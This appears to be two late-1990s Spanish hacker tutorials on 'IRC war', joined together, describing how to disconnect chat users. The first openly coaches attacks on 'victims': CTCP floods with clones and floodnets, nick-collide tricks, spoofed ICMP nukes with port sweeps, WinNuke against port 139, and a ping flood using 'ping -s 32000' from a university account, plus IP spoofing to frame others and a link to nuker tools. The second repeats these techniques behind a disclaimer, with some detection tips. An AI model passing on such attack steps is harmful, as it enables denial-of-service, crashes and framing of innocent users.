Se trata de un “usuario” muy especial… un robot que se encarga entre otras cosas de proteger los canales. En la red hispana se llama Scytale (en CobraNet, por ejemplo, es KingCobra) y está dentro de muchos canales (registrados). Normalmente suele tener op, con lo cual el canal deja de ser opless y se evita el net-hack 🙁 Suele tener ircop-status [channel-service status] y además tiene otras funciones en las que no pienso entrar.  Resumiendo: si hay bot, nuestro gozo a un pozo.

 

 

3.- Ataques.

En esta sección entraremos en materia… }:-)  Nuestro objetivo: tirar a alguien del server irc.

 

3.1.- Flood.-

Los servidores IRC tienen que controlar el tráfico de entrada (el que proviene del exterior) para evitar su congestión. Una de las formas de conseguirlo es no permitir que un cliente le mande más de una determinada cantidad de información en un pequeño intervalo de tiempo; o lo que es lo mismo: la velocidad con que un cliente puede enviar datos al servidor está limitada.

Cuando un cliente supera el límite preestablecido por el servidor, éste cierra la conexión con el cliente: lo echa del servidor porque no puede soportar tanto caudal de entrada. El servidor lo “explica” así:

[1:59] *** ^TkLaS^ has quit IRC (Excess Flood)

Un flood, en general, no es otra cosa que mandar mucha información en poco tiempo a alguien para intentar que se sature. Se puede floodear una dirección IP, …, o lo que ahora nos concierne: un servidor de IRC.

La manera de aprovechar el flood en nuestro favor consiste en mandar muchas peticiones de información a nuestra víctima, de forma que ésta, al contestar, supere el límite del servidor y éste lo eche. Por ejemplo, si le mandamos muchos /ctcp version’s seguidos (requiriendo información sobre el programa cliente que está utilizando) la víctima floodeará al servidor cuando conteste porque mandará muchas veces (tantas como peticiones haya habido) el texto de respuesta al servidor (para que del servidor vaya al cliente que peticionó, i.e., al atacante).

En esto del flood juega un papel muy importante el número de peticiones que se reciben en un pequeño intervalo de tiempo. Cuantas más se reciban, más posibilidades hay de que el flood tenga éxito. Por ello no es ninguna tontería mandar peticiones desde varios puntos a la vez, y no desde uno sólo, es decir, varios usuarios (¡que podrían ser una misma persona!) de la red IRC manden peticiones a la víctima todos a la vez en un determinado momento. Si los usuarios (nicks) corresponden a una misma persona (una misma dirección IP) se habla de clones. Por tanto, una posible forma de ataque sería crearnos muchos clones y peticionar a la vez desde todos ellos a la víctima.

Pero los servidores también suelen estar preparados para evitar muchos clones (cada clone ocupa, por decirlo de alguna manera, una “linea” de entrada al servidor, y esto consume recursos del mismo). Suele haber un máximo permitido (en el irc hispano es 2) denegándosele el acceso a la red a un tercer clone, o en caso de que éste lo consiguiese expulsándosele del servidor (“matándolo”) (el programa servidor revisa periódicamente las IP’s conectadas y detecta cuando hay varios usuarios con una misma dirección IP):

[1:32] *** ^Virus^ has quit IRC (Killed (Clones!))

¿Cómo provocar un flood con más de 2 clones entonces? La respuesta es simple: en principio no se puede. ¿Entonces? Pues la solución es que varias personas distintas se pongan de acuerdo para atacar a la vez a la víctima.  Cada persona podría tener a su vez varios clones. Por ejemplo, si A (atacante) quiere atacar a V (víctima), A se pone de acuerdo con B y C (otras 2 personas atacantes). A su vez supongamos que cada atacante tiene 2 clones: i.1 e i.2 (donde i=A,B,C). Entonces tendremos 6 usuarios (conexiones IRC) distintos atacando a V, que serían A.1, A.2, B.1, B.2, C.1 y C.2. Pero hay un problema: ¿cómo sincronizarse para atacar? ¿Cómo “ponerse de acuerdo” para mandar las peticiones en un determinado momento?  Para esto existe lo que se denomina “floodnet” que, como habrá adivinado nuestro ávido lector, es una “red” (asociación) de gente cuyo único objetivo es floodear a alguien. La ventaja que tiene es que la sincronización entre los distintos componentes de la floodnet es automática (lo hacen los scripts) lo cual resuelve el problema anterior. También existe lo que se denomina “botnet” y que es análogo a la floodnet pero usando bots (no confundir con los “de servicio”; estos últimos los ponen los servers de la red irc y no los usuarios) los cuales serán lanzados desde alguna shell Unix (intérprete de comandos en una máquina Unix). Los bots suelen estar prohibidos y cuando se detectan, a lo menos, son expulsados:

[1:32] *** Viernes13 has quit IRC (Killed (You are not welcome to this network!))

 

Hoy en día tanto los programas clientes de IRC como los scripts

implementan protecciones anti-flood que dificultan enormemente el éxito de

un ataque de tipo flood. Por ejemplo, cuando detectan varias peticiones

seguidas mandan las respuestas espaciadas en el tiempo (con pausas) y no

inmediatamente, con lo cual se evita el flood.

También hay técnicas de flood bastante optimizadas (por ejemplo, usando una floodnet) aunque en general un ataque flood no suele ser demasiado eficiente y es más costoso lograr su éxito que con algunas de las técnicas que se describen a continuación.

 

3.2.- Nick collide.-

Un “nick collide” ocurre cuando dos personas tienen un mismo nick. En principio esto no debería ser posible (el servidor no deja usar un nick que ya está en uso) pero hay dos situaciones en las que podría darse el caso y que se describen en los dos puntos siguientes.

El resultado de un nick collide depende del servidor (ircd). En servidores antiguos (sin protección) el collide se resuelve matando a los dos usuarios con mismo nick (¡ambos!). En otros más inteligentes (con protección) el servidor guarda información acerca de los usuarios y puede saber que usuario tiene el nick con mayor antigüedad (i.e. quién se lo puso antes), matando únicamente al usuario con el nick más reciente (protegiendo al usuario más “veterano”).

 

3.2.1.- Split server collide.-

Se basa en aprovechar un net-split:

  • Esperar un split.
  • Entrar (conectar) al servidor spliteado.
  • Ponerse como nick el de la víctima.
  • Esperar a que se deshaga el split.

 

Si todo va bien (el servidor no tiene protección), a la vuelta del split

se detectará el collide y se matarán tanto al atacante como a la víctima.

Lógicamente nuestro usuario atacante será un clone nuestro, con lo cual no

pasa nada si es killeado.

 

3.2.2.- Lag collide.-

Consiste en aprovechar el lag de un servidor, o lo que es lo mismo, el retraso en recibir los mensajes de otros servidores. Esta técnica es más efectiva que la anterior, pues funciona en servidores con protección.

Los pasos serían los siguientes:

  • Meter un clone en el servidor lageado.
  • Esperar a que la víctima cambie de nick (esto lo detectamos desde otro servidor no lageado).
  • Cambiar rápidamente el nick de nuestro clone y ponerle el que se acaba de poner la víctima (el nuevo).
  • Esperar al lag. 😉

 

Lo que ocurre es que nuestra orden de cambiar el nick para nuestro clone

llega antes al servidor (lageado) que la orden de cambio de nick de la

víctima debido a que nuestra orden va directamente de nuestro cliente al

servidor lageado mientras que la otra va a través de la red IRC (donde

hemos supuesto que se introduce un lag notable). Esto hace que el servidor

(lageado) tome a nuestro clone como “dueño” legítimo del nick y mande un

kill al otro (la víctima). Esto ocurriría en caso de servidores protegidos;

si es no protegido el resultado es que ambos mueren, resultado también

aceptable, pues hemos acabado con nuestro objetivo. };-)

 

3.3.- Nuke.-

“Nuke” es la denominación genérica que se le suele dar a cualquier forma de ataque consistente en mandar paquetes arbitrarios a una determinada dirección IP (no es que sea una definición demasiado ortodoxa pero bueno…  :)). Realmente el término “nuke” siempre se ha referido al primero de los dos tipos que comentaremos, aunque aquí se ha preferido tomar una definición más amplia de dicha palabra.

 

3.3.1.- ICMP nuke.-

El más veterano de los nukes [ 🙂 ] usa un protocolo subyacente de IP, el ICMP (“Internet Control Message Protocol”: parte integral del protocolo de Internet [IP] que resuelve errores y controla los mensajes), para romper una conexión cliente-servidor de IRC (tirar a alguien del server). Para entender cómo funciona hay que hablar un poco de protocolos; es aburrido pero no hay más remedio…

Una conexión IRC (cliente-servidor, que es lo que nos interesa) utiliza el protocolo TCP (nivel 4 [transporte] en la torre OSI), el cual se apoya sobre IP (nivel 3 [red]). IP se encarga, entre otras cosas, de hacer el rutado de paquetes (“datagramas IP”), es decir, dado un destino ir enviando los paquetes por el camino apropiado hasta alcanzar el host destino. TCP no ve nada de esto, tan sólo el destino directamente (manda los segmentos TCP directamente al destino), porque IP lo oculta (hace que el rutado sea transparente a TCP). Lógicamente para que un protocolo de nivel superior funcione correctamente, también deberán hacerlo todos los que estén por debajo. En particular, para que nuestra conexión TCP (IRC) se mantenga “viva”, IP debe funcionar perfectamente. Y aquí es donde interviene ICMP: se encarga de informar de posibles anomalías que se han producido en el nivel 3 (IP), como por ejemplo, “host unreachable”, que significaría que no se ha podido alcanzar el host (el paquete IP ha ido dando saltos [”hops”] de un nodo a otro, hacia el destino, y ha llegado un momento en el que un determinado nodo intermedio no sabía qué hacer con él o ha expirado el tiempo de vida de dicho paquete). En este caso, el paquete que informa del error (ICMP) lo envía el nodo intermedio que se ha dado cuenta del error hacia el “remitente” que lanzó el paquete original (que no se ha podido entregar a su destinatario). Los mensajes ICMP se situan dentro del campo de datos de un datagrama IP y se envían exactamente igual que si fueran datos IP (no son prioritarios). No es objetivo de este escrito tratar más a fondo este tema (para los interesados les aconsejo el libro “Internetworking with TCP/IP, vol I”, de Douglas E. Comer, disponible en castellano ya en su tercera edición).

Resumiendo: mediante ICMP informamos de que IP ha fallado, y por tanto, también los niveles superiores como TCP.

Comprendiendo lo anterior ya se puede intuir en qué consiste el ICMP nuke:

mandar mensajes ICMP falseados, engañando al destino, haciéndole creer que

el otro extremo ha detectado un error y por tanto, provocando un “cierre”

de la comunicación. Vamos a explicar un poco mejor ésto.

En una conexión siempre tenemos dos extremos, lo que da dos posibilidades a la hora de engañar, según lo hagamos  a uno u otro. En el caso de una conexión IRC, podemos llevar a cabo dos formas de ataque:

  • Server nuking (nukear al server): los mensajes ICMP se mandan al servidor IRC, haciéndole creer que se ha producido un error al intentar comunicarse con el cliente. Como respuesta a este mensaje el server cierra la conexión que tenía con dicho cliente. El efecto producido es la “expulsión” del usuario por parte del servidor.
  • Client nuking (nukear al cliente): esta vez se envían los ICMP’s al cliente; éste cree que el servidor no está disponible y cierra la conexión (el cliente). El servidor no sabe nada en principio, pero detecta el cierre de conexión por parte del cliente, dando el correspondiente error y cerrando también la conexión por su parte.

 

En teoría las dos fomas de nuking son perfectamente válidas y eficientes,

aunque hay que tener ciertas consideraciones en cuenta, como son:

  • tanto servidor como cliente pueden tener protección anti-nuke y puede ser necesario atacar uno porque el otro esté protegido (ver más adelante).
  • si atacas a un cliente, éste puede detectar quién le está atacando con un simple analizador de paquetes IP o tracer, y también podría responder con otro ataque de este o cualquier otro tipo (cuidado con quién te metes ;-)).
  • si atacas al servidor, el cliente no tiene manera de saber quién le ha “atacado” porque los mensajes ICMP no le han llegado a él sino al servidor (ventaja); pero por otro lado, el servidor sí sabe quién ha hecho el ataque y puede resultar en una K/G-Line a dicho usuario por parte del servidor (el usuario podría ser baneado de toda la red de IRC).
  • los inconvenientes de los dos puntos anteriores pueden ser solventados falseando la dirección origen de los mensajes ICMP que se envían. Esta técnica se conoce como “spoofing” (ver punto 4).

 

Hay diversos tipos de error ICMP que se pueden utilizar a la hora de hacer

un nuke. En cuanto a la información práctica de cómo utilizar un nuker

(programa “nukeador”), debemos tener en cuenta que además de suministrarle

el tipo de error que se desea producir, juegan un papel muy importante los

puertos, tanto origen como destino, que se elijan.

Una conexión IRC (TCP) queda definida unívocamente por los pares dirección IP origen-puerto origen y dirección IP destino-puerto destino. Estos datos son los que hay que suministrarles al programa nukeador. Puertos típicos del servidor de IRC (será el puerto destino en caso de server nuking o el fuente si se trata de un client nuking) son 6665-9,  4400-6, 7000 y 7777.  En realidad cada servidor IRC tiene unos puertos oficialmente reconocidos (que son conocidos públicamente: los podemos leer en el motd [”mensaje del dia”] al entrar en el IRC) y otros que podríamos denominar como privados, y que se usan por ejemplo para las conexiones entre los distintos servidores que forman la red. Un usuario puede estar usando uno de estos puertos “fantasmas” (aunque el servidor también puede limitar el acceso a estos puertos) para esconderse de nukes, puesto que necesitamos conocer este dato para que el nuke sea efectivo.

También necesitamos conocer el puerto del cliente, aunque esto es más difícil porque varía mucho (no son fijos como en el caso anterior) dependiendo del sistema operativo que esté corriendo dicho cliente, los puertos que ya tuviera ocupados antes de establecer la conexión IRC, étc.  Lo normal es hacer un barrido de estos puertos empezando por el 1024 (hay puertos que por convenio siempre se asignan a determinadas tareas y no se pueden usar arbitrariamente con lo cual no necesitamos barrerlos) y acabando en 4000, por ejemplo, aunque podría ser necesario aumentar este número.

Es también muy útil utilizar un “port-scan”: programa que va probando los distintos puertos de una dirección IP (destino) dada e informa de la respuesta recibida para cada uno de  dichos puertos (así podemos saber, por ejemplo, qué puertos de un servidor están dedicados a aceptar conexiones IRC).

A continuación transcribo mensajes típicos de salida de nuestras potenciales víctimas en una sesión típica de IRC:

[1:42] *** aRmiTaGe has quit IRC (Read error to

aRmiTaGe[ig-183.arrakis.es]: Connection reset by peer)

[1:13] *** KoNtRoL has quit IRC (Read error to KoNtRoL[195.76.99.76]: EOF

from client)

[3:17] *** BrOKeNn has quit IRC (Read error to BrOKeNn[194.224.57.171]:

Protocol not available)

[5:25] *** Eli has quit IRC (Read error to Eli[info760.jet.es]: Network is

unreachable)

[5:26] *** Eli has quit IRC (Read error to Eli[info760.jet.es]: Machine is

not on the network)

[4:20] *** vp has quit IRC (Read error to vp[ia-176.arrakis.es]: Connection

refused)

[2:41] *** Estrayk has quit IRC (Read error to Estrayk[ctv3011.ctv.es]: No

route to host)

La protección anti-nuke, a grosso modo, pasa por ignorar los mensajes ICMP que lleguen, aunque ésto ya está limitando el propio funcionamiento del protocolo IP, en el sentido de que ICMP es parte integrante de IP y no se debería inhibir (¿qué ocurriría si llega un mensaje “de verdad” y es ignorado?). Se puede llevar a cabo más o menos “finamente”: por ejemplo descartar solo los ICMP’s de un tipo y no todos los posibles. Se podría lograr con un firewall (software o hardware encargado de filtrar los paquetes provinientes de la red en base a una reglas previamente definidas) convenientemente configurado.

 

3.3.2.- OOB nuke.-

También conocido como ‘winnuke’, ya que afecta sólo al sistema operativo Windows, en cualquiera de sus “sabores”: 3.x, 95 y NT. Se basa en un bug que tiene este SO en la pila de protocolos por el cual el sistema se cuelga (“error de protección general…blah, blah…”) cuando recibe un paquete con el flag OOB (“Out of band”) activado. El ataque es sencillo: mandar un paquete de este tipo a un puerto (normalmente el 139) de nuestrá víctima (ésta debe estar corriendo Windows, lo cual es muy normal hoy en día).  Existen programas ya hechos a los cuales simplemente le das la dirección IP de la víctima y el programa lo hace todo.

La forma de protegerse es cerrar los puertos por los que nos puedan atacar (el 139 principalmente) o aplicar algún parche al SO para quitarnos el bug.  Otra solución menos recomendable es la que llevan a cabo algunos ISPs (proveedores de Internet), y que consiste en filtrar todos los paquetes dirigidos al puerto 139 (inconveniente: nos están  dejando inoperativo ese puerto). Hoy en día es muy popular este bug y normalmente está ampliamente parcheado (aunque siempre habrá algún que otro despistado que no lo tenga instalado }=)).

Como hemos dicho, este ataque no sólo consigue echar a la víctima del server sino que además le deja colgado el ordenador (tendrá que hacer un reboot), lo que lo hace especialmente peligroso. La víctima saldrá del IRC con un mensaje de tipo ping-timeout como:

[19:56] *** Goku has quit IRC (Ping timeout for

Goku[system.tech.arrakis.es])

 

 

3.4.- Ping.-

Algunos los llama también “IP bombs” (bombas IP). Un ping es un tipo de mensaje ICMP que se usa para ver si una máquina se encuentra operativa y accesible. El procedimiento es enviarle un ping a la máquina; ésta lo recibe y contesta. Al recibir la contestación ya sabemos que la máquina vive. Si no se recibe en un plazo dado se considera como no accesible (la máquina podría estar apagada, o todos los “caminos” en la red hacia ella cortados). Además podemos obtener más datos como el grado de saturación de una máquina o red (midiendo el tiempo de respuesta de la máquina, es decir, el tiempo transcurrido desde que una máquina origen envía el ping hasta que recibe la contestación de la otra).

La manera de usar esto de forma ofensiva consiste en mandar más pings a un usuario de los que su máquina pueda contestar, saturándole su conexión a Internet. Por tanto se debe de hacer desde un enlace más potente que el que pretendemos atacar.

Lo típico es que la víctima esté en su casa y tenga un modem. Por tanto, necesitamos una conexión a inet más rápida que eso. Lo normal es atacar desde una máquina ubicada ya en la red (conectada mediante ATM, FDDI, …).  Por ejemplo, puede valer la cuenta de la Universidad ;-). La forma de hacerlo sería abriéndonos un shell y tecleando:

$  ping -s 32000 <direcc. IP>

(la sintaxis puede variar ligeramente según sistema operativo).

Los paquetes que se envían al hacer ping son típicamente muy pequeños. Con el modificador   -s estamos forzando un nuevo tamaño (32000 bytes es aceptable; también podeis probar con 64000).

Pensad: un modem de 28.8 tardará unos 18 segs. en recibir 64 Kbytes (sin considerar compresión), mientras que desde nuestra shell lo hemos mandado en ¡¡décimas de segundo!! Si consideramos además que el comando ping manda más de un paquete (los que queramos) … ¡boom! Tendréis el modem de vuestra víctima trabajando a toda pastilla para nada y fastidiándole todo lo que esté haciendo. En particular, le estropearéis su conexión al IRC: en el mejor de los casos la víctima tendrá un lag horroroso y el peor será expulsada del servidor por “ping time-out”.

 

3.5.- Ssping.-

Nos encontramos ante otro bug parecido al del OOB, que afecta a Win95 y NT (aunque no a todas las configuraciones), y cuya idea es que el “maravilloso” Windows “se lía” a la hora de reconstruir paquetes que le han llegado fragmentados y acaba con un cuelgue del ordenador. El ataque consiste en precisamente mandar esos paquetes fragmentados a la víctima.

Un bug de este tipo es viejo conocido de los sistemas UNIX (el ataque se conocía como “ping of death”); pero la novedad es que ahora lo sufren los Windows. Aunque son cosas técnicamente diferentes, la forma de proceder a la hora de atacar es análoga a OOB: solo hay que saber la dirección IP de la víctima y ¡boom!: le dejamos colgado el ordenador.

La solución pasa por parchear el S.O. En particular, este bug parece que no afecta al Trumpet Winsock así que si lo usais estareis protegidos.

 

 

4.- Spoofing.

Esta técnica no es un ataque en sí pero permite mejorar y perfeccionar cualquier ataque (de los anteriores, por ejemplo). También puede ser la base de algún ataque, como ocurre con el IP Spoofing que los hackers suelen emplear (me desviaría del tema  de este escrito si siguiese escribiendo…).

Se trata de “spoofear” (=falsear) la dirección IP de origen de los paquetes que se mandan a la víctima, de forma que ésta crea que el origen de dichos paquetes es otro (el que nosotros le indiquemos). De esta forma protegemos nuestro anonimato, y en general podemos llevar a cabo cualquier acción que se nos pueda ocurrir y que se derive de una falsa dirección source (origen). Por ejemplo, podemos nukear a alguien, con la dirección fuente de otro, haciendo creer a la víctima (si ésta tiene un analizador de paquetes o algo parecido) que es el otro el que le está atacando }:-).

El spoofing es (o podría ser) una funcionalidad más del programa de ataque (del nuker, del ping, …). Como consiste en manejar IP desde un muy bajo nivel en muchos casos se requieren privilegios especiales. Por ejemplo, en el caso de máquinas Unix, se necesita abrir “raw sockets” y ésto requiere de privilegios de superusuario (root).

 

 

5.- Resources.

Este apartado está dedicado, brevemente, a los distintos programas disponibles y útiles a nuestra causa :-).

Por ahora sólo incluyo la siguiente URL:  http://www.7thsphere.com/virus.

Allí podrás encontrar toda clase de utilidades para Windows y Linux:

programas nukeadores, port-scanners, étc…

 

 

6.- Agradecimientos.

Quisiera dar las gracias a jcea@argo.es por echarle un vistazo a este texto y por sus comentarios desinteresados sobre él.

 

 

7.- Notas finales.

Espero que este pequeño artículo os haya servido al menos para comprender un poco más el funcionamiento del IRC.

También me gustaría recordar que el IRC no es un campo de batalla, y que no se debe atacar a la gente así porque así, salvo “en defensa propia” y pocos casos más justificados. O:-)  En cualquier caso un ataque nunca está justificado desde el punto de vista de los ircops, así que cuidado con las K/G-lines 😉

Por último, decir que este artículo es la primera versión y que pudiera contener numerosos errores así como algún que otro “punto negro”. Se agradecería toda clase de comentarios y sugerencias para mejorar el documento: bug reports, asuntos que creáis no están bien explicados, temas que faltan y se deberían incluir, …, y en definitiva todo lo que os gustaría que se incluyese en el documento. También se aceptan O-lines 😉

Podeis contactar con el autor de este escrito por email:

roman@deathsdoor.com. O localizarme en el IRC hispano bajo el nick de

RoMaNSoFt.

c’U l8er!!!!!

 

 

La distribución de este documento es “libre”, con la única condición de

informar al autor en caso de subirlo a algún ftp site o página web. La

misma restricción se aplica a cualquier otra forma de difusión pública

(revistas, news, étc).

 

 

  • Este documento se encuentra disponible en versión WordPad en la sección de software.

 

Ya puedes volver a la home page.

 

© RoMaN SoFt / LLFB, 1997.- (última modificación de este fichero:

30/07/97)

 

Bienvenidos al TUTORIAL sobre  ….

 

Û   ÛÛ    ÛÛÛÛÛÛ

Û  Û  Û   Û             Û      Û  ÛÛ   ÛÛ

Û  Û Û    Û             Û      Û Û  Û Û  Û

Û  Û  Û   Û              Û ÛÛ Û  ÛÛÛÛ Û Û

Û  Û   Û  ÛÛÛÛÛÛ          Û  Û   Û  Û Û  Û

 

 

©  ThE_WiZArD ‘97

 

 

ÄÄÄÄÄÄÄÄÄ

Å AVISO Å

ÄÄÄÄÄÄÄÄÄ

 

Este texto ha sido escrito con el proposito de informar , por lo tanto

declino cualquier responsabilidad sobre el mal uso de la informacion aqui

contenida.

 

 

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Å  INTRODUCCION   Å

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Bien , me decido a escribir esto , estando un poco “stoned” , y

porque cada vez da mas pena conectarse al IRC y leer ciertas cosas 😛

Aqui no voy a hablar de todas las tecnicas de IRC War, solo explicare

un poco todo por encima y me metere un poco mas en las mas usadas para

ver si de una vez dejamos un poco claros los conceptos.

 

 

 

1.   Seguridad en INTERNET

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Solo hay una cosa segura: “La infinita inseguridad de la seguridad”

Aunque Internet se dise¤o para un entorno seguro donde multitud de ordena-dores de cientificos, universitarios y de investigacion compartian sus datos de forma desinteresada, el tema de la seguridad parecia cubierto en esos momentos , y esta siendo un grave problema en estos dias.

El Instituto Nacional de Estandares y Tecnologia (NIST) , tiene la responsabilidad (entre otras funciones) de hacer efectivas la seguridad y la privacidad de los sistemas informaticos de los Estados Unidos.  Una de las primeras medidas consistio en proporcionar una lista de los principales servicios de seguridad, y en consecuencia de los problemas que podemos encontrarnos.(Enumerados en el Estandar 7498-2 del NIST para la Interconexion de Sistemas Abiertos (OSI) ).

 

 

2.   El concepto de IRC WAR.

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

El fin de todo ataque de IRC es el de provocar la caida de la conexion

TCP/IP de la victima para desconectarla de la “charla”.Algunas de

esas tecnicas estan basadas en el propio protocolo del IRC, aunque

las mas efectivas son las que utilizan protocolos diferentes o las

que se aprovechan de “fallos de seguridad” de los sistemas operativos.

Como supongo que todos sabreis , es muy comun encontrarse con las

tipicas personas “novatas” y/o LAMERs que entran con su “flamante”

Kokaine o Sphere y que son unos HACKERS porque saben darle al boton

ese que pone “NUKE person”.

Co¤as aparte , (no me voy a rebajar a hablar de estos “personajes”) realmente son muy pocos los que saben diferenciar entre todos los tipos de “ataques” tipicos de una sesion de IRC.

Estos ataques han recibido el nombre generico de NUKEs e intentare

describir los principales de una forma sencilla.

 

2.1 Conceptos basicos

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

Cuando queremos intercambiar informacion entre dos o mas ordenadores necesitamos una serie de componentes para llevar esto a buen fin.  Ademas de los medios “fisicos”  deben existir unas series de reglas de circulacion para establecer una comunicacion.

Un protocolo es un conjunto de normas establecidas que determinan como

se establece el intercambio de datos entre ordenadores.

Cuando nombramos INTERNET a todos nos viene a la cabeza el protocolo

TCP/IP.

El Transmission Control Protocol (TCP) fue dise¤ado para dividir la

informacion en paquetes para ser enviados, mumerarlos para que mantengan

el orden y a¤adir cierta informacion para comprobar que han llegado sin

errores.

El Internet Protocol (IP) es el encargado de identificar a todos los

ordenadores de la red mediante un numero , se trata de la ya famosa

direccion IP.

Cuando hablamos de TCP/IP tenemos que darnos cuenta de que estamos

hablando de una gran familia de protocolos, y aun siendo los citados

anteriormente los principales, existen muchos otros que tambien

participan.

Asi nos encontramos con el ICMP (Internet Control Message Protocol)

, que es el encargado de informar de errores y problemas que pudieran

existir en la comunicacion.

El CTCP (Client to Client Protocol) que comunica a los clientes;

el NetBios (Netbios Service Protocols) para soportar servicios de red

Netbios a traves de TCP o el IRCP (Internet Relay Chat Protocol) que

es el protocolo del IRC.

Cuando se manda un paquete de informacion mediante TCP/IP ademas de

la direccion IP del ordenador destino se indica el puerto al que va

dirigido.Un puerto es como una puerta de entrada a un servicio.Asi por

ejemplo cuando un navegador solicita una pagina HTML a un servidor de

WEB se dirige al puerto 80, y cuando realizamos un FTP accedemos al 21.

En el cliente la comunicacion se establece mediante puertos, asi que

cuando conectamos a traves de un programa de IRC (mIRC, Pirch  , etc)

este abre en nuestro ordenador un puerto (siempre por encima del 1024)

, a traves del cual se producira el intercambio de datos.

Actualmente los puertos del 0 al 1024 inclusive estan reservados por

la Internet Assgned Numbers Authory (IANA), encargada de registrarlos.

Cada ataque o Nuke se basa en algun protocolo y en ocasiones usa un

puerto especifico para lograr su objetivo.Partiendo de este principio

podemos ver :

 

2.1.1 Nukes basados en el IRCP

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

El Internet Relay Chat Protocol fue desarrolado en el a¤o 1989, pensado en un principio para los usuarios de BBS , fue utilizado desde sus comienzos en Internet.

Su fin es permitir las charlas entre distintos usuarios mediante un

sistema de texto basado en el modelo cliente-servidor.

Generalmente los servidores se fuxionan entre si para formar redes

de IRC‘s.

2.1.1.1              Ataque por Flood

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

En este sistema era posible que un solo usuario pudiera acaparar gran cantidad de recursos de un servidor mediante un gran numero de envios de datos en un corto espacio de tiempo, como conse-cuencia la calidad del servicio se degradaba enormemente.  Para evitar este inconveniente se implemento el protocolo de FLOOD CONTROL , este sistema actua cuando un usuario se excede en sus emisiones de datos al seridor , limitando el tama¤o y velocidad de los mismos, desconectandolo si sobrepasa esos limites con el conocido mensaje de EXCESS FLOOD.

Los ataques por flood se basan en esta caracteristica del protocolo.

Consiste en hacer llegar al usuario un gran numero de lo que se

conoce como CTCP‘s (Cliente to Client Protocol -> PING, VERSION,

CLIENTINFO … ) , haciendo que el usuario atacado al responder a todas

estas llamadas, fuera desconectado del servidor por EXCESS FLOOD.

Pero dado que el atacante tambien puede caer facilmente al atacar a un

usuario, se inventaron los CLONES , que no son mas que otras sesiones

de IRC, con lo que se aumenta la capacidad para mandar mensajes a un

usuario o a un canal , para provocar su caida por EXCESS FLOOD.

La popularidad de este tipo de ataques ha llevado a los servidores a

restringir el numero de “clones” permitidos por IP.

Actualmente en la mayoria de los servidores y/o redes solo se permite

un clon por IP.

¨Por que permitir un clon? , la razon es sencilla, ya que cuando por

algun motivo nos desconectamos del IRC (o cuando hay algun problema)

, y volvemos a entrar observamemos muchas veces que nuestro nick sigue

conectado.Esto es debido a que el servidor aun no ha detectado nuestra

caida.Si el servidor no permitiera un clon por IP , no podriamos volver

a entrar hasta que el servidor desconectara al anterior nick nuestro.

Esta limitacion , unida a las propias protecciones de los clientes de

IRC (mIRC y Pirch asi como otros contienen ya proteccion contra este

ipo de ataque), ha hecho que este ataque desaparecza casi completamente.

 

2.1.2 Ataque por PING

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

El comando PING es utilizado por los servidores para compro-bar si la comunicacion con los diferentes clientes se encuentra activa.  Esta es la forma que tiene el server de saber si hemos desconectado un poco “ a lo bestia”, cerrando el programa de IRC o apagando el ordenador, sino , nuestro nick seguiria eternamente conectado.  Todo servidor envia cada cierto tiempo un PING a cada uno de los clien-tes que estan conectados a el.En la ventana de estado (status) es comun ver PING? PONG ? , que indican respectivamente la peticion del servidor y la respuesta del cliente.

Si no se responde a la peticion de PING el servidor entiende que hemos

desconectado y nos desconecta por PING TIME OUT.

Este tipo de ataque se basa en lograr que la victima no responda al

PING del servidor, consiguiendo asi que la victima sea desconectada

por PING TIME OUT.

La tecnica que utiliza es acaparar toda la atencion del modem de la

victima.Para ello manda ininterrumpidamente paquetes a la direccion

IP de la victima, pero en esta ocasion no se utiliza el protocolo

IRCP, por lo que los sistemas antiflood de los programas cliente del

IRC no detectaran nada.

La forma mas facil de detectar este ataque es , si tenemos un modem

externo, fijarnos si las luces de estado parpadean sin cesar , al

mismo tiempo notaremos que nuestra conexion se hace mas lenta a cada

momento , no recibiremos mensajes de los demas usuarios y finalmente

seremos desconectados por PING TIME OUT.

 

2.1.3 Ataque por ICMP

ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ

El Internet Control Message Protocol (ICMP) es en realidad una parte integrante de IP.Su mision es informar sobre los distintos errores que se produzcan en una comunicacion.

Asi, cuando intentamos conectar a un ordenador que no se encuentra

operativo , es el ICMP el encargado de informarnos de esta situacion.

Los posibles codigos de error son:

0 -> NET UNREACHABLE      (net inalcanzable)

1 -> HOST UNREACHABLE     (host inalcanzable)

2 -> PORT UNREACHABLE     (puerto inalcanzable)

3 -> FRAGMENTATION NEEDED (necesidad de fragmentacion)

4 -> SOURCE ROUTE FAILED  (fallo en la ruta de origen)

El ataque ICMP consite en aprovechar esta caracteristica del protocolo

para hacer creer a la victima que se ha producido alguno de estos

errores.Para ello se fabrica un paquete ICMP y se envia al puerto que

el programa cliente de IRC de la victima abre en su ordenador, entonces

interpreta el error y corta la conexion.

La unica dificultad a la hora de realizar este ataque es que no se

conoce el puerto que abre el cliente de IRC , ya que no es fijo.

La solucion pasa por mandar los paquetes de ICMP desde el puerto

1025 hasta el 2000 (o 2500).

Al igual que el ataque por PING , el ataque por ICMP se puede detectar

al observar la actividad del modem.

2.1.4 WinNuke

ÄÄÄÄÄÄÄÄÄ

Los WinNukes son tecnicas que aprovechan errores en la imple-mentacion del TCP/IP que Microsoft ha realizado en sus sistemas WINDOWS , y que nos obligan a hacer un reset del ordenador.

Podemos distinguir dos tipos de WinNukes , por un lado tenemos el

WinNuke OOB basado en el cuelgue que sufren estos sistemas al recibir

el tipo de datos Out-Of-Band a traves del puerto 139 y por otro lado

el WinNuke ICMP tambien denominado SSPING consecuencia de abrir una

serie de paquetes ICMP altamente fragmentados.

En el caso del ICMP, Microsoft ha conseguido realizar un parche que lo

soluciona mas o menos sin problemas.

Sin embargo en el caso del OOB , inexplicablemente (ah , bueno es

microsoft , hahahahaa ) sigue sin sacar un parche que funcione al 100%

(aunque he encontrado 3 o 4 que funcionan sin problemas, QUO VADIS

MICROSOFT ? )

Para detectar cualquier tipo de ataque a algun puerto , la opcion mas

facil es conseguir un programa especifico que permita vigilar un puerto

